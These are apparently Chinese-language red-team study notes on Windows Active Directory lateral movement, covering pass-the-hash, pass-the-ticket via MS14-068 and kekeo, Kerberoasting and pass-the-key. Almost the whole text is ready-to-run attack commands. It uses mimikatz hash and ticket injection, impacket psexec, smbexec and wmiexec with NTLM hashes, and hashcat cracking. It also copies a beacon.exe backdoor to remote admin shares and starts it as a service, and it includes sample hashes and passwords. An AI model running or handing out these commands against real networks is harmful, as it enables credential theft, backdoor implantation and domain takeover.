pass the hash(哈希传递攻击,PTH)

pass the ticket(票据传递攻击,PTT)

pass the key(密钥传递攻击,PTK)

思路:

明文传递 -> PTH -> PTT -> PTK(AES)

PTH

LM NTLM区别

Mimikatz

mimikatz privilege::debug//启用调试权限

mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c

net use \\192.168.3.32\c$//ipc连接

copy beacon.exe \\192.168.3.32\c$//复制后门到本地

sc \\sqlserver create bshell binpath= "c:\4.exe"//创建 bshell 任务为 4.exe

sc \\sqlserver start bshell//执行 bshell 任务

Impacket-at & ps & wmi & smb

psexec -hashes :NTLM值 域名/域用户@域内ip地址

smbexec -hashes :NTLM值 域名/域用户@域内ip地址

wmiexec -hashes :NTLM值 域名/域用户@域内ip地址

//前两篇文章有详细介绍

D:\Myproject\venv\Scripts\python.exe psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

D:\Myproject\venv\Scripts\python.exe smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

D:\Myproject\venv\Scripts\python.exe wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

hash 破解

工具 hashcat,字典爆破或者碰撞硬破解

字典破解:

hashcat.exe -a 0 -m 1000 hash.txt pass.txt

暴力破解:

hashcat.exe -a 3 -m 1000 518b98ad4178a53695dc997aa02d455c ?l?l?l?l?l?s?d

?l 小写

?s 符号

?d 数字

?u 大写

-m 1000 是 ntlm

PTT

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

https://github.com/gentilkiwi/kekeo/releases

漏洞 MS14-068

密钥分发中心 KDC 服务中的漏洞

允许经过身份验证的用户在 Kerberos 票据中插入任意 PAC

操作流程

1.获取SID:shell whoami/user -> 记录

2.生成票据文件:

成功后会提示生成一个票据文件

shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45

//webadmin为用户名,god.org为域名,-s之后是获取到的SID,-d 后面是目标主机IP,-p后面是明文密码;工具直接上传到被控主机

3、清除票据连接:

shell klist purge

查看票据:shell klist

4、内存导入票据:

mimikatz kerberos::ptc TGT_webadmin@god.org.ccache

//这里用的是刚刚生成的票据文件名

5、连接目标上线:

shell dir \\OWA2010CN-GOD\c$

shell net use \\OWA2010CN-GOD\C$

copy beacon.exe \\OWA2010CN-GOD\C$

sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"

sc \\OWA2010CN-GOD start bindshell

NTLM > 票据

通过我们获取的 hash 生成票据

工具 kekeo,需要上传

操作流程

生成票据:shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"

导入票据:shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"

查看票据:shell klist

利用票据连接:shell dir \\owa2010cn-god\c$

注意:成功不成功看ntlm哈希值的正确性

历史遗留

登录过域控或者域控主动登陆过你

操作流程

导出票据:

mimikatz sekurlsa::tickets /export

导入票据:

mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi

//一般选择40开头,不行再选择60开头

查看票据:shell klist

利用票据连接:shell dir \\owa2010cn-god\c$

注意:成功不成功看当前主机有没有被目标连接过

票据爆破成明文

利用通讯类型进行爆破

Kerberos攻击条件

采用rc4加密类型票据,工具Rubeus&impacket检测或看票据加密类型

Kerberoasting 攻击的利用

•SPN服务发现

•请求服务票据

•服务票据的导出

•服务票据的暴力破解

https://hashcat.net/hashcat/

https://github.com/fortra/impacket

https://github.com/GhostPack/Rubeus

https://github.com/nidem/kerberoast

https://www.freebuf.com/articles/system/174967.html

如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

操作流程

1、扫描:

powershell setspn -T 0day.org -q /

powershell setspn -T 0day.org -q / | findstr "MSSQL"

2、检测加请求:

Rubeus kerberoast

impacket-getuserspns

请求所有SPN服务器,并找到能破解的票据格式保存到hash.txt

python GetUserSPNs.py -request -dc-ip 192.168.3.142 0day.org/jack:admin!@#45 -outputfile hash.txt

3.手工请求:(要产生票据文件)

powershell Add-Type -AssemblyName System.IdentityModel

powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433

4.导出:

mimikatz kerberos::list /export

5.破解:

文件票据:python tgsrepcrack.py pass.txt "xx.kirbi"

HASH密文:hashcat -m 13100 hash.txt pass.txt --force

注意:成功不成功看当前主机票据加密类型(RC4)

PTK

如果票据加密类型为aes,系统安装了KB2871997补丁且禁用了NTLM的时候,抓取ntlm hash就没用了,我们可以尝试PTK

mimikatz sekurlsa::ekeys//获取aes256

mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值